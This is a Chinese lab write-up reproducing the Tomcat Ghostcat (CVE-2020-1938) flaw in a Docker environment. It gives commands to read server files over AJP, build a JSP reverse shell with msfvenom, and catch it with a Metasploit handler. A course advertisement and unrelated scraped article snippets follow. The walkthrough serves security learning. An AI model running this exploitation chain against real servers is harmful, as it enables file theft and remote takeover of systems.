news 2026/7/3 18:10:30

【网络安全】Tomcat CVE-2020-1938 漏洞复现和利用过程_漏洞复现

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【网络安全】Tomcat CVE-2020-1938 漏洞复现和利用过程_漏洞复现
一,漏洞描述
1-1 漏洞原理

Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。AJP(Apache JServ Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本。WEB服务器通过 TCP连接 和 SERVLET容器连接。

1-2 受影响版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.53
Apache Tomcat 9 < 9.0.31

二,靶场搭建

靶场:kali2023 192.168.1.160

攻击机器:kali2023 192.168.31.150

2- 1 拉去靶场镜像
docker pull duonghuuphuc/tomcat-8.5.32

2-2 启动镜像
docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32

2-3 访问

访问 192.168.31.160:8080 看到此页面说明靶场搭建成功了

三,漏洞复现

首先需要下载漏洞利用工具 ,网址如下(github)https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/

下载下来放到攻击机上(我的主机 kali2023 192.168.31.150)

名字很长,我改名了,叫CVE-2020-1938

cd 进入到文件里,可以看一下文件内容

接下来利用Tomcat-Root路径下文件读取(CVE-2020-1938)来读取服务器问价内容

注意把最后的红色IP地址换成你自己的靶场IP

python2 ‘Tomcat-ROOT路径下文件读取(CVE-2020-1938).py’ -p 8009 -f /WEB-INF/web.xml 192.168.31.160

python2 'Tomcat-ROOT路径下文件读取(CVE-2020-1938).py' -p 8009 -f /WEB-INF/web.xml 192.168.31.160

结果能成功读取到文件了,证明这里存在文件包含漏洞。

四,漏洞利用

我们如何getshell呢?

想要getshell则网站需要有文件上传的地方,这个靶场没有这个功能,不过我们可以模拟一下这个过程,我们手动复制木马文件到靶场服务器来模拟getshell过程

4-1 生成发现木马文件

注:真实环境中,在攻击器上生成木马,通过漏洞上传过去的

我在这里直接靶机 192.168.31.160上生成,复制到服务器目录中

kali上如下命令生成java木马文件

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.31.150 LPORT=8888 -f raw > aini_shell.txt

4-2 复制文件到服务器

先 docker ps 查看容器CONTAINER ID

然后进行复制

docker cp aini_shell.txt 525a39f3a85e:/usr/local/tomcat/webapps/ROOT/WEB-INF/

没有报错说明上传成功了

4-3 访问上传的木马文件

回到攻击器上

通过之前下载的POC访问一下,发现成功读取到了内容

但是我们目的是getshell,需要让反向shell执行才行

4-4 msf开启监听

先进入到msfconsole

msfconsole

use exploit/multi/handler set payload java/jsp_shell_reverse_tcp set lhost 192.168.31.150 ## 攻击器IP set lport 4444 ## 攻击器需要监听的端口(跟生成反向shell时设置的端口一样)

注:我监听8888端口一直失败,所以我换了个4444端口,并重新生成了连接192.168.31.150:4444端口的木马文件,复制到了靶场服务器上

开启监听成功

4-5 访问反向木马文件

最后一步:攻击主机访问木马文件,并编译执行,反向连接我们攻击主机

python2 'Tomcat-ROOT路径下文件包含(CVE-2020-1938).py' -p 8009 -f /WEB-INF/aini_shell.txt 192.168.31.160

注意:这俩文件作用不一样,'Tomcat-ROOT路径下文件包含…'是用来编译执行服务器代码,执行反向shell用的这个,也就是上面一步,让木马执行反向连接我们电脑

而Tomcat-ROOT路径下文件读取…'单纯的读取文件内容,而不会编译执行

说明服务器上上传的反向木马编译执行了

看看监听的窗口有没有拿到shell

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/30 22:54:23

UDS 31服务安全访问机制深度剖析:全面讲解

UDS 31服务安全访问机制深度剖析&#xff1a;从原理到实战的完整指南在一辆现代智能汽车中&#xff0c;诊断接口不仅是维修工具的“入口”&#xff0c;更可能成为黑客攻击的“后门”。随着车辆电子架构日益复杂&#xff0c;如何在开放诊断功能的同时守住安全底线&#xff1f;UD…

作者头像 李华
网站建设 2026/6/26 9:43:12

通义千问3-4B模型测试:工具调用能力评估

通义千问3-4B模型测试&#xff1a;工具调用能力评估 1. 引言 随着大模型向端侧部署的持续演进&#xff0c;轻量化、高响应、强泛化的小模型正成为AI应用落地的关键载体。2025年8月&#xff0c;阿里开源了 通义千问 3-4B-Instruct-2507&#xff08;Qwen3-4B-Instruct-2507&…

作者头像 李华
网站建设 2026/7/1 11:11:46

文献复制比突破30%?五个立即见效的降重妙招

论文重复率超30%&#xff1f;5个降重技巧&#xff0c;一次降到合格线 为了有效解决论文重复率过高的问题&#xff0c;以下提供五种经过验证的降重策略&#xff1a;通过调整句式结构、替换近义词、拆分长句、增加原创性分析以及合理引用未标注文献&#xff0c;能够显著降低重复…

作者头像 李华
网站建设 2026/6/29 15:00:04

EasyGBS算法算力平台实现高精度路况管控

一、背景随着城市化进程加速和机动车保有量持续增长&#xff0c;实时、精准、可视化的路况感知成为智慧交通管理的核心需求。传统的路况信息获取方式存在延迟大、覆盖不全面等问题。通过利用EasyGBS强大的视频监控技术与算法算力技术的融合&#xff0c;结合现有的交通监控摄像头…

作者头像 李华
网站建设 2026/6/30 1:05:08

Linux 使用 /proc/meminfo 和 free 命令查看内存信息

/proc/meminfo 和 free 命令都用于查看 Linux 系统的内存使用情况&#xff0c;但它们在使用方式、信息详细程度和输出格式上有显著区别&#xff1a; 1. /proc/meminfo 位置&#xff1a;虚拟文件系统中的一个文件访问方式&#xff1a;cat /proc/meminfo 或直接读取文件内容特点&…

作者头像 李华